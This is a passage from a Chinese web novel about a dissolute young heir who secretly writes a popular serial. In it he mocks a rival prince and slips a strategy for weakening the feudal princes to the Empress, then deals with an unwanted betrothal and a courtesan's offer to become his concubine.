女帝先是一怔,随即恍然大悟,忍不住‘噗嗤’一声笑了出来,凤眸中闪过一丝期待和戏谑:
“哈哈!朕倒是忘了这一茬!没错没错!以他那刁钻的笔法,和编排故事的本事…今晚的最新章节里,靖王怕是要倒大霉了!
定会被他写成跳梁小丑,遗臭万年!这可比打他们一顿板子还要解气!还要让他们难受!”
想到靖王可能被话本气得暴跳如雷又无可奈何的模样,女帝心情顿时舒畅了许多,连日来积压的郁气都消散了不少。
她笑着摇头:“这个江凡…还真是朕的‘福将’!总能以这种出人意料的方式,替朕分忧解难。虽然…方式刁钻了些。”
笑过之后,女帝神色重新变得凝重,沉吟道:
“不过…云暮所言,倒也提醒了朕。藩王问题,日益尾大不掉,尤其是靖王这等拥兵自重、心怀叵测之辈,已成朕之心腹大患!
光是靠话本嘲讽出气,终究是隔靴搔痒,治标不治本。必须要想个法子,从根本上…削其权,弱其势!”
她目光扫过案头另一份关于北境军情的奏报,眼中闪过一丝光芒:
“如今,北莽因内乱暂退,边境难得有了一段喘息之机。这…正是朕整顿内务,解决藩王问题的天赐良机!
只是…该如何下手,方能既达到目的,又不至于逼得他们狗急跳墙,激起大规模叛乱呢…”
她陷入了沉思。
…
与此同时,镇国公府内。
江凡一回到府中,便屏退了左右,径直钻进了自己的书房,并严令任何人不得打扰。
他脸色有些苍白,气息也略显虚浮。
与靖王府那位大宗师老者的短暂气势交锋,强行硬撼之下,内腑也受到了一些震荡,真气耗损不小。
“妈的!靖王老狗!给老子等着!等小爷我境界稳固,看我不把你们靖王府掀个底朝天!”
周安盘膝坐在蒲团上,一边运功疗伤,一边咬牙切齿地暗骂。
君子报仇,十年不晚!
咸鱼报仇,从早到晚!
先收点利息!
调息了约莫一个时辰,伤势恢复了七七八八,耗损的真气也补充得差不多了。
江凡睁开眼,眼中精光一闪而逝。
走到书案前,铺开上好的宣纸,磨墨蘸笔。
这一次,他心中没有了往日的戏谑和玩闹,只有冰冷的怒意和凌厉的杀机!
靖王是吧?
喜欢仗势欺人是吧?
好!
小爷我就让你在书里,身败名裂!
遗臭万年!
笔落惊风雨!
在《深宫秘恋》的最新章节里,他笔锋如刀,刻画了一个全新的、穷凶极恶的大反派——‘靖南王’!
书中,‘靖南王’被描绘成当今‘大乾女帝’的皇叔,位高权重,却野心勃勃,一直觊觎皇位。
他暗中在封地蓄养死士、私铸兵甲;在朝中结党营私、威逼利诱官员站队;
在地方横征暴敛、草菅人命;甚至勾结敌国、图谋不轨!
其罪行罄竹难书,其用心险恶至极!
江凡将他所知的所有关于藩王可能有的恶行,都扣在了这个‘靖南王’头上,将其塑造成一个彻头彻尾的**禄鬼、乱臣贼子!
写到靖南王在百花楼强抢民女、殴打忠良时,更是极尽渲染之能事,将其嚣张跋扈、目无王法的嘴脸刻画得入木三分!
然而,光是揭露罪行、发泄怒气,还不足以体现他‘逍遥公子’的水平。
骂街是泼妇做的事,他要用阳谋
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,用智慧,**诛心!
于是,笔锋一转,写到‘大乾女帝’面对靖南王日益膨胀的势力,忧心忡忡,向心腹‘侍卫林枫’问计。
林枫沉吟良久,献上了一套组合拳般的削藩之策!
其核心,便是一条堪称千古阳谋的——推恩令!
书中,林枫侃侃而谈:
“陛下,藩王势大,根深蒂固,若强行削藩,恐逼其狗急跳墙,引发内乱。不若……行‘推恩’之策?
下旨明示,为显天家仁德,泽被宗室,特许各位王爷之封地爵位,不再仅由嫡长子一人继承,而可由其所有子嗣(无论嫡庶)共同分润!
王爷若遵旨,则其势自分,诸子争产,内耗不休,不出三代,其势自衰!王爷若抗旨不遵…
呵呵,那便是心怀异志,罔顾君恩,陛下便可名正言顺,发兵讨逆!”
紧接着,林枫又补充了数条限制藩王的政令:
削其护卫亲兵数额、收其地方官员任免之权、禁其与地方军政勾结、严查其封地赋税账目等等!
条条直指藩王命脉!
并建议‘女帝’暗中调兵遣将,于各战略要地布防,随时准备应对可能出现的叛乱!
江凡将‘推恩令’的精髓和后续配套措施写得清晰透彻,将其‘分而治之、温水煮青蛙’的阳谋本质揭露无遗!
他相信,只要女帝不傻,就一定能看出这条计策的狠辣与高明!
这简直是为她量身定做的、解决心腹大患的利器!
写完这些,江凡胸中恶气总算出了大半。
他仿佛已经看到,当女帝和满朝文武,尤其是那些藩王们,看到这话本时,会是何等精彩的表情!
靖王,你就等着被架在火上烤吧!
其余藩王也会因为他得罪‘逍遥公子’而对靖王心生怨恨!
他仔细检查了一遍稿件,确保没有问题,然后提交系统。
【作品检测中…完整性符合要求,审核通过。】
【开始随机生成复刻本(1000份),投放至京城及周边区域…投放中…】
第062章 莫名的烦躁
看着系统中再次跳动上涨的人气值,江凡满意地点点头。
很好,距离宗师又近了一步!
他吹熄灯火,继续盘膝运功,巩固伤势。
……
翌日,黎明,紫宸宫寝殿。
萧璇月几乎是带着一种‘看好戏’的期待感醒来的。
她迫不及待地伸手探向枕边,果然摸到了那本还带着夜露的《深宫秘恋》最新章节。
她嘴角微扬,倚在软枕上,就着晨曦迫不及待地翻阅起来。
开篇便是‘靖南王’的种种恶行,尤其是百花楼强抢民女、殴打‘忠良’。
她自然知道这“忠良”影射谁的情节,写得绘声绘色,极尽讽刺挖苦之能事。
萧璇月看得凤眸含笑,差点没笑出声来:
“这个江凡…睚眦必报的性子,倒是半点没改!骂得真是…酣畅淋漓!”
然而,当她看到‘林枫’向‘女帝’献上‘推恩令’及一系列削藩之策时,她的笑容渐渐收敛,神色变得无比凝重!
她坐直了身子,目光锐利,一字一句地仔细阅读着,越看,心中越是震撼!
“推恩令…好一个‘推恩令’!好一个阳谋!好毒…好妙的计策!”
萧璇月忍不住低声惊叹!
作为一国之君,她太清楚这条计策的厉害之处了!
这简直是为眼下藩镇割据、尾大不掉的局面,量身定做的绝杀之策!
不费一兵一卒,便能从根本上瓦解藩王的势力!
若那个‘靖南王’敢抗旨,便是授人以柄,自取灭亡!
若他遵旨,则是慢性**!
无论怎么选,都是死路!
还有后面那几条限制藩权的政令,更是招招见血,配合推恩令使用,效果倍增!
“这江凡…不,这逍遥公子!”
萧璇月放下书稿,心中掀起了惊涛骇浪,
“其才…果真经天纬地!竟能想出如此…如此老辣狠绝的计策!这绝非寻常书生能有的见识和魄力!他到底…还藏着多少本事?”
她几乎可以肯定,这‘推恩令’绝非前人遗策,而是江凡基于对当前朝局的深刻洞察,凭空想出来的!
这份心智,这份谋略,堪称国士!
不,是帝师之才!
震惊过后,便是狂喜!
若此法可行,困扰她多年的藩王问题,将迎来转机!
大夏皇权,将得到空前的巩固!
“云暮!”她立刻唤道。
“奴婢在。”
“速将此章节中,关于‘推恩令’及削藩诸策的部分,一字不差,全部抄录!!”
萧璇月语气严肃,带着一丝兴奋,
“另,传朕口谕,密召宰相李文弼、兵部尚书、户部尚书、暗卫统领,即刻至御书房偏殿议事!要快!”
“是!陛下!”
云暮见女帝神色凝重中带着兴奋,心知必有大事,不敢怠慢,立刻领命而去。
萧璇月站起身,在寝宫内缓缓踱步,心潮澎湃。
她再次拿起那本话本,看着书中那个‘英明神武’、‘从善如流’的‘大乾女帝’,嘴角不禁勾起一抹弧度。
这个江凡…骂人的时候是真气人,献策的时候也是真给力!
一边把‘女帝’写得恋爱脑,一边又给她送上安邦定国的良策…
他这心里,到底是怎么想的?
“不过…这份‘大礼’,朕收下了!”
萧璇月凤眸中寒光一闪,
“靖皇叔…还有各位不安分的王叔们,你们的‘好日子’,怕是快要到头了!”
早朝之上,很多官员面面相觑。
女帝只召见几个大臣去御书房,究竟在商量什么?
现在可是上朝时间。
时间不长,女帝领着几位大臣回来,上朝正式开始。
江凡站在下面,偷偷观察着女帝的神情,见她并无异常,心中稍安。
看来,自己那‘洗白’女帝的章节起作用了?
她没再找自己麻烦?
他暗自松了口气,却不知一场针对藩王的风暴,正在御书房的密议中悄然酝酿。
而关于逍遥公子最新章节的内容,早已随着一千本话本的投放,在京城各大酒楼、茶肆、书院乃至达官显贵的府邸中,引发了轩然大波!
街头巷尾,人们都在窃窃私语,议论着‘靖南
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王’的原型是谁,讨论着‘推恩令’的狠辣与精妙…
靖王府的大门,今日更是紧闭,气氛压抑得吓人。
江凡看着系统中飙升的人气值——短短一个早晨,竟然暴涨了接近三万点!
总人气值赫然突破了215,000点!
他的嘴角,终于露出了一丝满意的笑容。
“靖王,给小爷等着,不弄死你算你命大!”
江凡心中暗暗发狠,他可是很记仇的!
萧璇月端**,凤眸扫过下方神色各异的文武百官。
尤其是几位藩王在京中的代言人那或铁青、或惶恐、或强作镇定的脸,心中冷意更盛。
她并未多言,只由掌印太监朗声宣读了那份经过精心润色的《推恩令》及一系列配套削藩政令。
圣旨一出,满朝哗然!
虽早有风声,但真当这堪称‘绝户计’的阳谋以煌煌圣旨的形式颁布天下时,带来的冲击依旧是颠覆性的!
支持皇权的官员心中暗喜,藩王一系的党羽则如丧考妣,却无人敢当场质疑——抗旨不遵的帽子扣下来,谁都担待不起!
等政令宣布完毕退朝,各种官员心情不一的离开。
江凡混在人群中,低着头,努力降低存在感,心里却乐开了花。
看着那些平日趾高气扬的藩王党羽们灰败的脸色,他感觉自己昨晚熬的那点夜、受的那点伤,全都值了!
靖王老匹夫,看你还能嚣张几时!
然而,他这口气还没松到底,就听内侍的声音在耳边响起:
“江起居郎,陛下宣御书房觐见。”
又来了!
江凡心里哀叹,这御书房都快成他的第二个家了!
他耷拉着脑袋,认命地跟着内侍走。
踏入御书房,依旧是那股熟悉的檀香,但今日的气氛却似乎有些…不同?
女帝没有像往常一样伏案疾书,而是端着一杯茶,站在窗边,望着窗外庭院中的几株新开的玉兰花。
背影窈窕,却透着一股沉寂?
萧璇月回头看了江凡一眼,见他一副鹌鹑样,心中那股莫名的烦躁感又涌了上来。
第063章 朕赏你恩典
萧璇月也不知道自己怎么了,可一想到他用逍遥公子的身份,在百花楼为了一个歌姬与靖王争执。
甚至…可能对那柳絮有什么心思,她就觉得胸口堵得慌!
还有…周家那个丫头!
定亲!
一想到这个,她心里就更不是滋味了!
一开始她只当个热闹,想看江凡的笑话。
但现在国公府已经下聘,周婉如就是江凡名义上的未婚妻、未来的世子夫人。
她发现,自己已经无法淡定的吃瓜看戏。
这种人才,怎么能给别的女人...
她深吸一口气,强行压下这些乱七八糟的念头,决定问问江凡的想法。
如果他真的不想成亲,那就给他一个拒绝的机会!
江凡心里打鼓,小心翼翼地上前行礼:
“臣参见陛下。”
萧璇月没有立刻让江凡平身,而是慢步走回御案后坐下。
“江爱卿,”她终于开口,声音平淡,
“今日…你进这御书房,是先迈的左脚,还是右脚?”
又来?!
江凡差点没一口老血喷出来!
这女人还有完没完了?
左脚右脚进门这梗是过不去了是吗?
他强忍着翻白眼的冲动,大脑飞速运转!
上次说左脚被罚,这次…赌一把!
他硬着头皮,用尽量平稳的语气回答:
“回陛下,臣…臣今日谨记圣训,是右脚先进的门。”
说完,他紧张地偷瞄女帝脸色。
出乎意料的是,萧璇月闻言,嘴角微微向上弯了一下。
“哦?右脚?”
萧璇月端起茶杯,轻轻吹了吹浮叶,语气似乎轻松了些许,
“看来江爱卿…确是长进了,知道尊卑规矩了。”
江凡心里莫名其妙,嘴上却连忙应和:
“陛下教诲,臣时刻不敢忘!”
“嗯。”
萧璇月放下茶杯,凤眸流转,目光变得有些意味深长,
“既然你今日如此守礼,朕赏你一件恩典。说吧,想要什么?只要不是罢官免职,朕…或可考虑。”
赏赐?
江凡眼睛瞬间亮了!
还有这种好事?
不过下次想奖励别这样绕圈子行吗?
小心脏受不鸟。
“臣谢陛下隆恩!”他眼中闪着期待的光芒,
“陛下!臣…臣近日深感才疏学浅,难当大任,每日战战兢兢,唯恐有负圣恩!恳请陛下…
恩准臣每日退朝后,便可回府…闭门读书,潜心学习,以期早日能为陛下分忧!”
女帝不让辞官,那就退而求其次,要求提前下班!
这总可以吧?
萧璇月听完,凤眸眯起,寒光乍现:
“哦?闭门读书?江爱卿何时变得如此…勤勉了?”
这混账东西,就这么不想待在自己身边吗?
江凡连忙辩解:
“陛下明鉴,臣一直都是这么勤奋的...”
“够了!”萧璇月打断他,声音冷了下来,
“江凡,你真当朕是傻子不成?你父亲经常让朕提携你,你倒好,每天就想着偷奸耍滑?”
江凡一缩脖子,不敢再狡辩。
心中把老爹埋怨了无数次,自己根本不想当上班狗啊!
御书房内陷入短暂的沉默,气氛再次变得压抑。
江凡心中郁闷万分,果然是伴君如伴虎,女帝的脾气总是莫名其妙。
好像自己也没做什么出格的事情吧?
萧璇月重新开口,语气恢复了平静:
“江爱卿,朕赏你恩典,是念在你近日…嗯,献书有功的份上。你便只想着提前散值?就没有些…别的,更关乎你自身的事情,想求朕做主?”
这小子不是讨厌这桩婚事吗?
还把周大人父女写进话本丑化,机会都给你了,还不懂?
“更关乎自身的事情?”
江凡一愣,茫然地眨眨眼。
除了不想上班,他还有啥事需要女帝做主的?
他试探着问:“陛下是指…?”
萧璇月看着他这副榆木疙瘩的样子,气得牙痒痒,只好把话挑得更明一些:
“比如…朕听闻,镇国公近日为你定下了一门亲事?是吏部周主事家的千金?”
原来是这事!
江凡恍然大悟,随即心中狂喜!
机会啊!
女帝主动提起,是不是意味着…她可以帮忙退婚?
他立刻打蛇随棍上,脸上堆起愁苦的表情:
“陛下圣明!确有此事!
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可是陛下…臣…臣实在…唉!”
他重重叹了口气,演技全开,
“臣年纪尚轻,性情未定,文不成武不就,自己尚且浑浑噩噩,如何能担起成家立业之责?
岂不是耽误了人家周小姐的大好年华?臣心中实在惶恐不安啊!恳请陛下能否…能否劝劝家父,将这婚事…退掉?”
萧璇月听着他这番话,心中那股烦躁奇异地消散了大半,心情也变得舒坦。
她凤眸微亮,嘴角不自觉地上扬了一个弧度,但很快又压了下去,故作沉吟状:
“哦?你竟是这般想的?不愿早婚?觉得会耽误周家小姐?”
“千真万确啊陛下!”
江凡见有门儿,赶紧趁热打铁,
“臣绝非虚言!臣如今只想在陛下身边好好当差,学习历练,实在无心家室之累!求陛下成全!”
他萧璇月看着他这副‘真诚’的模样,心中暗爽,面上却依旧端着:
“嗯…你既有此心,倒也算懂事。男儿志在四方,先立业后成家,也未尝不可。”
她顿了顿,仿佛经过深思熟虑,才缓缓道:
“既然如此,朕便准你所请。不过刚刚才下了聘礼,想退婚可能不行。朕会…寻个时机,与你父亲分说一番,让他莫要过于心急,且容你再历练几年。
至于周家那边…朕虽不好直接插手臣子家事,但既是你自己不愿,朕也金口玉言,周爱卿想必也能理解。这婚事,便暂且…搁置吧。”
“臣谢陛下天恩!”
江凡喜出望外,激动得差点跳起来!
成了!虽然只是搁置,不是取消,但已经是天大的好消息了!
能拖一天是一天!
女帝万岁!
他心里给女帝点了无数个赞!
看着江凡那副如释重负的样子,萧璇月的心情越发愉悦。
算这小子识相,不枉自己这么努力的引导创造机会。
她轻轻挥了挥手,语气也柔和了下来:
“好了,此事朕已知晓。你且退下吧。今日…便准你提前散值,回府…好好‘读书’去吧。”
她特意在‘读书’二字上加重了语气,带着一丝戏谑。
“是是是!臣遵旨!臣一定好好读书!臣告退!”
第064章 你敢去试试
江凡千恩万谢地退出了御书房,脚步轻快得几乎要飞起来!
望着他欢快消失的背影,萧璇月终于忍不住,唇角弯起一个笑容。
她端起已经微凉的茶,轻轻抿了一口,只觉得今日这茶,格外的清甜甘洌。
“云暮。”她轻声唤道。
“奴婢在。”
“去,将库房里那对南海进贡的珍珠耳珰找出来,给周主事家的婉茹小姐送去。就说…朕听闻她蕙质兰心,特赐此物,以示嘉许。”
萧璇月吩咐道,眼中闪过一丝狡黠。
赏赐是安抚,也是暗示。
周文正是聪明人,自然会明白‘陛下嘉许’其女,与‘世子暂不成婚’之间,并不矛盾,甚至…可能另有深意?
“是,陛下。”
云暮躬身应道,嘴角也带着了然的笑意。
陛下这心思…真是越来越有趣了。
现在女帝年纪也不小,或许是应该为自己觅一位合适的帝君了。
只是这个江凡究竟是不是逍遥公子,现在还不知道。
一切都还只是她们的猜测而已。
萧璇月走到窗边,看着庭院中盎然春意,心情舒畅。
解决了这桩心事,她感觉连处理起那些关于藩王蠢蠢欲动的密报,都更有干劲了。
“江凡啊江凡…”
她低声自语,凤眸中流光溢彩,
“你这块顽石,朕倒要看看,还能雕琢出多少惊喜来…至于成家?哼,朕还没点头呢,急什么?”
江凡冲出皇宫,感觉天也蓝了,风也轻了,连宫门口那两只石狮子看起来都眉清目秀了许多!
女帝万岁!陛下圣明!
虽然没能一举罢官,但成功把‘成亲’的事情搁置了!
只要不成亲,他就能继续苟着发育,晚上偷偷写书赚人气值,逍遥快活!
至于以后?
船到桥头自然直!
有女帝恩准,老爹也没话说。
他脚下生风,恨不得立刻飞回自己的听雨轩。
一进府门就直奔自己的小院,‘砰’地一声关上房门,反手落闩,动作一气呵成!
“系统!快!兑换修为!冲击大宗师初期!”
【消耗200000点人气值,开始灌输宗师初期内力及境界感悟…】
轰隆隆——!
这一次的能量灌输,远比之前任何一次都要狂暴、浩瀚!
如果说之前是江河奔涌,那这次简直就是银河倒灌!
精纯的天地元气混合着玄奥的法则感悟,冲刷着他的四肢百骸、奇经八脉!
丹田内的真气疯狂压缩、凝练,从气态化为液态,最后几乎要凝结成一颗璀璨的金丹雏形!
识海疯狂扩张,精神力凝若实质,神识覆盖范围暴涨至方圆百丈!
风吹草动,虫鸣蚁语,甚至地下蚯蚓蠕动的声音都清晰可辨!
一种前所未有的强大感、掌控感充斥全身!
仿佛举手投足间,便能引动天地之力!
宗师!
与先天境界已是云泥之别!
这是真正踏入了当世顶尖高手的门槛!
良久,能量灌输结束。
江凡缓缓睁开双眼,轻轻握拳,感受着体内那磅礴如海的恐怖力量,嘴角勾起一抹弧度。
靖王府那个灰衣老者?
宗师中期?现在再来试试?
小爷我一根手指头就能碾死你!
他满意地活动了一下筋骨,浑身舒畅无比。
看着系统里还剩的一万五千多点人气值,他想了想,又花费一万点,兑换了一门地阶上品的身法【浮光掠影】。
保命功夫,永远不嫌多!
“靖王,给小爷等着,等实力再提升一些,小爷半夜来摘你西瓜!”
做完这一切,他心情大好,决定出去透透气。
毕竟女帝的旨意还没正式下达,表面功夫还得做做。
他悠哉游哉地朝着姐姐江芷兰居住的兰馨苑踱去。
刚走进院门,就听到里面传来一阵银铃般的轻笑和细碎的说话声。
只见院中的海棠树下,姐姐江芷兰正和周婉如并肩坐在石凳上。
面前摆着绣架,两人手中飞针走线,低声说笑着,阳光透过枝叶洒在她们身上,画面温馨而美好。
周婉如今日穿了一身鹅黄色的襦裙,更衬得肌肤胜雪,眉眼弯弯,笑容
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温婉。
她偶尔抬头间,看到走进来的江凡,脸颊微微泛红,连忙放下手中的活计,起身盈盈一福:
“世子爷。”
江芷兰也抬起头,看到弟弟,脸上露出笑容:
“凡儿回来了?今日下值倒早。”
江凡看着周婉如那副俨然已是‘自家人’的乖巧模样,再想到女帝那句‘暂且搁置’,心里莫名有点发虚。
他干笑两声,挠了挠头:
“啊,嗯,今日…陛下没什么要紧事,就让我先回来了。”
周婉如走到他面前,从袖中取出一个绣工精美的香囊,上面用银线绣着祥云纹,散发着淡淡的清雅兰香。
她双手捧着,脸红扑扑地递到江凡面前,声音充满期待:
“世子爷,这…这是婉茹闲来无事绣的,里面放了些安神的香料,若…若世子不嫌弃…”
江凡看着那精致的香囊,又看看周婉如含羞带怯的模样,心里更不是滋味了。
这姑娘…好像真的挺认真的?
他接过香囊,触手温润,香气怡人,确实用了心。
他张了张嘴,那句‘陛下已经同意暂缓婚期’的话在嘴边转了几圈,最终还是没能说出口。
算了,等正式旨意下来再说吧,现在说出来,徒惹尴尬。
他只能含糊地道:
“嗯…绣得不错,多谢周…婉茹姑娘了。”
他将香囊随手塞进怀里。
周婉如见他收下,眼中闪过一抹喜色,柔声道:
“世子爷喜欢就好。”
江芷兰在一旁看着,脸上露出欣慰的笑容,打趣道:
“瞧瞧,这还没过门呢,就知道疼人了?凡儿,你可得好好对婉茹妹妹!”
江凡头皮发麻,故意摆出那副纨绔嘴脸,大大咧咧地说道:
“姐,周姑娘,你们先聊着,我…我约了几个朋友去百花楼喝酒听曲儿,晚点回来!”
说着,转身就要溜。
果然,江芷兰一听,柳眉倒竖,手里的绣花针差点戳到江凡身上:
“你个混账东西!刚夸你两句就原形毕露!婉茹还在这儿呢!你敢去那种地方试试?!”
第065章 这都什么事
江凡缩了缩脖子,正准备迎接姐姐的**,却听周婉如轻声细语地开口了:
“芷兰姐姐,莫要动气。世子爷…毕竟是男子,有些应酬也是在所难免的。只要…只要他心里有分寸,知道回家就好。”
她说着,还对江凡投去一个理解的温柔眼神。
江芷兰一愣,看着周婉如那副深明大义的样子,又是心疼又是无奈,最终叹了口气,指着江凡道:
“你看看!你看看人家婉茹多懂事!你呀…真是烧了高香了!去吧去吧!早点回来!别喝太多!”
江凡也愣住了,不可思议地看着周婉如。
这姑娘…怎么回事?
不仅不生气,还帮自己说话?
这‘贤惠’得有点过头了吧?
他心里那种古怪的感觉更强烈了,但也顾不上多想,如蒙大赦地溜出了兰馨苑。
看着江凡仓皇逃离的背影,周婉如嘴角勾起一抹狡黠的笑容。
江芷兰拉着她的手,歉然道:
“婉茹妹妹,真是对不住,凡儿他…他就是这个德行,你多担待。”
毕竟弟弟纨绔的名声早就传出去,周婉如这样的好姑娘愿意嫁过来,已经是烧高香了。
周婉如摇摇头,笑容温婉:
“姐姐言重了。世子爷只是性子直率了些,婉茹觉得挺好的。”
心里却补充道:而且,世子好像故意让我反感,真是个有趣的人。
江凡越这样,她的兴趣反而越浓。
……
江凡出了国公府,才感觉松了口气。
刚才那场面,简直比面对女帝还压力山大!
他晃了晃脑袋,决定不去想那些烦心事。
既然说了去百花楼,那就去逛逛吧,正好用这个纨绔世子的身份去!
顺便看看,靖王那老小子有没有什么后续动作。
他大摇大摆地来到百花楼。
老鸨见到这位‘声名显赫’的镇国公世子爷大驾光临,脸上堆满了谄媚的笑容,连忙将他请到最好的雅间醉仙居,好酒好菜伺候着。
江凡独自斟酒,刚喝了两杯,就听门外传来环佩叮当之声。
门帘一掀,一身素雅白衣、怀抱古琴的柳絮,竟又不请自来。
“柳大家?”
江凡有些意外,放下酒杯。
他今天可是用的‘江凡’本尊身份,这柳絮眼高于顶,怎么会主动来陪自己这个‘纨绔’?
柳絮盈盈一拜,美眸流转,落在江凡身上,带着一丝笑意:
“奴家听闻世子爷驾临,特来献曲一曲,以助酒兴。”
她声音依旧柔媚,但江凡却敏锐地感觉到,今天的柳絮,看他的眼神…似乎与往日不同?
少了几分疏离,多了几分亲近?
“有劳柳大家了。”
江凡不动声色,做了个请的手势。
柳絮坐下,净手焚香,玉指轻拨,一曲《高山流水》悠然响起。
不得不说,她的琴艺确实精湛,比之前又有精进,已得原曲七八分神韵。
一曲终了,余音绕梁。
“世子爷觉得如何?”
柳絮抬起美眸,笑吟吟地看着江凡,那目光仿佛要看到他心里去。
江凡牢记‘纨绔’人设,拍手赞道:
“好!弹得好!比西街口王麻子吹的唢呐好听多了!”
他故意用粗鄙的比喻。
柳絮闻言,非但不恼,反而‘噗嗤’一声笑了出来,掩唇道:
“世子爷还是这般风趣。”
她顿了顿,忽然话锋一转,语气带着几分暧昧,
“听闻…世子爷与周家小姐的婚事将近?真是恭喜世子爷了。日后成了家,怕是…就不常来我们这百花楼了吧?”
她一边说,一边仔细观察着江凡的表情。
江凡心里咯噔一下,怎么又提这茬?
为什么自己要说‘又’?
好像自己用萧遥身份来的时候,她也问过世子的事情...
他打着哈哈:
“成亲?成亲怎么了?成亲就不能出来喝酒听曲儿了?小爷我是那种怕老婆的人吗?该玩照样玩!”
柳絮眼中笑意更深,继续试探:
“哦?那…世子爷成亲后,可是要收心养性,专一于周小姐一人了?”
“专一?”
江凡嗤笑一声,翘起二郎腿,摆出标准的纨绔架势,
“开什么玩笑!男人三妻四妾,天经地义!等成了亲,小爷我肯定还要纳几房美妾!这才叫享受人生!”
柳絮看着他这副‘本色出演’的样子,强忍着笑意,忽然起身,走到江凡面前,微微俯身,吐气如兰,声音带着一丝蛊惑:
“那…不知世子爷觉得…奴家这蒲柳之姿,可还入得了您的眼?若是世子爷不弃…
待您成亲之后,奴家…愿自赎其身,入府为妾,常伴世子爷左右,为您红袖添
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香,可好?”
她说完,一双美眸含情脉脉地凝视着江凡,等待着看他的反应。
轰!
江凡感觉自己的脑子像被一道雷劈中了!
他彻底懵了!
张大嘴巴,呆呆地看着近在咫尺的绝美脸庞,半天没反应过来!
柳絮…百花楼的花魁…京城无数才子权贵求而不得的清倌人…主动提出要给他这个‘纨绔’当妾?
这…这剧本不对啊!
她不是应该喜欢‘逍遥公子’那种才华横溢的类型吗?
怎么会看上‘江凡’这个草包?
难道…就因为自己是镇国公世子?
可追求她的王孙公子也不少啊!
图啥呢?!
看着江凡那副目瞪口呆、完全没有预料中狂喜的蠢样,柳絮心中乐开了花,更加确信眼前这人就是在装!
她故意露出几分幽怨的神色:
“怎么?世子爷是嫌弃奴家出身风尘,配不上您吗?”
“啊?不是!当然不是!”
江凡回过神来,连忙摆手,舌头都有些打结。
虽然自己是在本色出演纨绔,但这种事情哪里敢答应?
万一柳絮当真了,以后找谁哭去?
“柳…柳大家你…你千万别误会!你…你如此才貌双全,是多少人梦寐以求的…我…我只是…只是太惊讶了!”
他急得额头冒汗,这都什么事啊!
一个周婉如还没搞定,又来个柳絮?
还让不让人安心当咸鱼了?
他猛地站起身,结结巴巴地说道:
“那个…柳大家!你的…你的好意我心领了!只是…只是这事实在太突然了!我…我得好好想想!对!好好想想!酒喝多了,头有点晕,我先回去了!告辞!告辞!”
说完,也顾不得礼仪了,几乎是连滚爬爬地冲出了雅间。
那速度,比来时快了十倍不止!
看着江凡狼狈逃窜的背影,柳絮终于忍不住,伏在琴案上,香肩耸动,笑得花枝乱颤。
这个江凡…真是太有趣了!
明明身怀绝世才华和武功,却偏要装成个一无是处的纨绔,被自己一‘求婚’就吓成这副模样!
她越来越期待,揭开他所有伪装的那一天了!
而逃出百花楼的江凡,站在夜风中,看着眼前灯红酒绿的繁华街市,却感觉一阵头大如斗。
“这日子…没法过了!”
第066章 把他钓出来
江凡回到镇国公府,一头扎进自己的房间。
柳絮那石破天惊的‘自荐为妾’,着实把他吓得不轻!
这都什么事啊!
一个周婉如还没搞定,又来一个花魁!
现在的姑娘们都怎么回事?
口味都这么独特吗?
专盯着他这个‘纨绔’不放?
不行,得冷静!
当务之急,是赶紧提升实力!
只要有足够的实力,管他什么靖王、什么花魁、什么未婚妻,统统都不是问题!
他看着人气值又增加了好几万,显然随着时间的推移,百姓们茶余饭后都在讨论这个话本。
而且里面出现不少私货,让一些官员也开始追捧。
虽然距离目标三十万人气还有一段距离,但势头不错。
只要继续保持更新,人气值会源源不断而来!
苟住!一定要苟住!
正当他暗自给自己打气时,门外传来了姐姐江芷兰略带嗔怪的声音:
“凡儿?在里面吗?开门!”
江凡心里咯噔一下,硬着头皮打开门,挤出一个笑脸:
“姐,你怎么来了?”
江芷兰走进来,没好气地瞪了他一眼:
“我怎么来了?你看看你像个什么样子!一回来就躲屋里!婉茹妹妹等了你半天,刚才见你迟迟不归,已经告辞回去了!”
江凡一听周婉如走了,心里反倒松了口气,嘴上却敷衍道:
“啊?走了?哎呀,我这不是…在外面喝了点酒,头晕,回来歇歇嘛。”
“歇歇?”江芷兰双手叉腰,一副恨铁不成钢的模样,
“我看你是又跑去哪个狐朋**那里鬼混了吧?!跟你说过多少次了!你现在是有婚约在身的人!要收敛!要稳重!
你看看人家婉茹,知书达理,性子又好,一点都不计较你以前的混账事,还处处替你着想!你今天倒好,当着她的面说什么去百花楼?你让她心里怎么想?!”
江凡被姐姐训得抬不起头,心里却嘀咕:她要是真计较倒好了…
他赶紧转移话题,笑嘻嘻地凑上前:
“姐,我的好姐姐!你别光说我啊!你看你,年纪也不小了,长得又这么漂亮,温柔贤惠,怎么就从来没听你说起过心上人呢?
要不…你先给自己找个如意郎君?弟弟我一定风风光光把你嫁出去!”
江芷兰被他这话逗得俏脸一红,嗔怪地拍了他一下:
“胡说八道什么!没个正经!姐姐的事…不急。”
她语气微微一顿,眼中闪过一丝黯淡,随即又恢复正常,笑道:
“以前是看你整天不着调,爹又忙于军务,家里总得有人撑着。现在嘛…看你好像…
稍微懂事了一点儿,姐姐也能稍微松口气了。至于婚事…随缘吧,有合适的再说。”
江凡闻言,心中猛地一揪!
他这才恍然意识到,姐姐这些年为了这个家,为了他这个不争气的弟弟,默默付出了多少!
竟是耽误了自己的终身大事!
一股浓浓的愧疚感涌上心头。
他收起嬉皮笑脸,郑重地拉住姐姐的手,眼神诚恳:
“姐,对不起…以前是我混蛋,不懂事,让你和爹操心了。你放心,从今往后,我一定努力上进,绝不会再让你们失望!你也…一定要找个真心待你好的人嫁了!弟弟我给你撑腰!”
江芷兰看着弟弟难得认真的模样,眼圈微微一红,心中涌起一股暖流,笑着点点头:
“好,姐姐相信你。只要你平平安安的,姐姐就放心了。”
就在这时,一名丫鬟匆匆来到院外禀报:
“世子爷,大小姐,门房传来消息,说是周府的婉如小姐派人送来请柬,邀请世子爷去城西的‘碧波湖’游湖赏景。”
游湖?和周婉如?
江凡头皮一麻,想都不想就要拒绝:
“不去不去!我明日…”
他话还没说完,胳膊上就**芷兰狠狠掐了一把!
疼得他龇牙咧嘴!
“你敢不去!”
江芷兰杏眼圆睁,压低声音威胁道,
“婉茹主动邀你,那是给你面子!你别不识好歹!赶紧给我收拾整齐了明天准时赴约!
好好陪婉茹散散心!要是敢惹她不高兴,或者找借口溜号,看回来我怎么收拾你!”
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说着,又用力拧了他一下。
江凡疼得倒吸凉气,看着姐姐那凶狠眼神,知道自己这回是躲不过去了,只得哭丧着脸,有气无力地应道:
“去…我去还不行嘛…姐你快松手!疼**!”
“这还差不多!”
江芷兰这才满意地松开手,又替他整理了一下衣襟,柔声道,
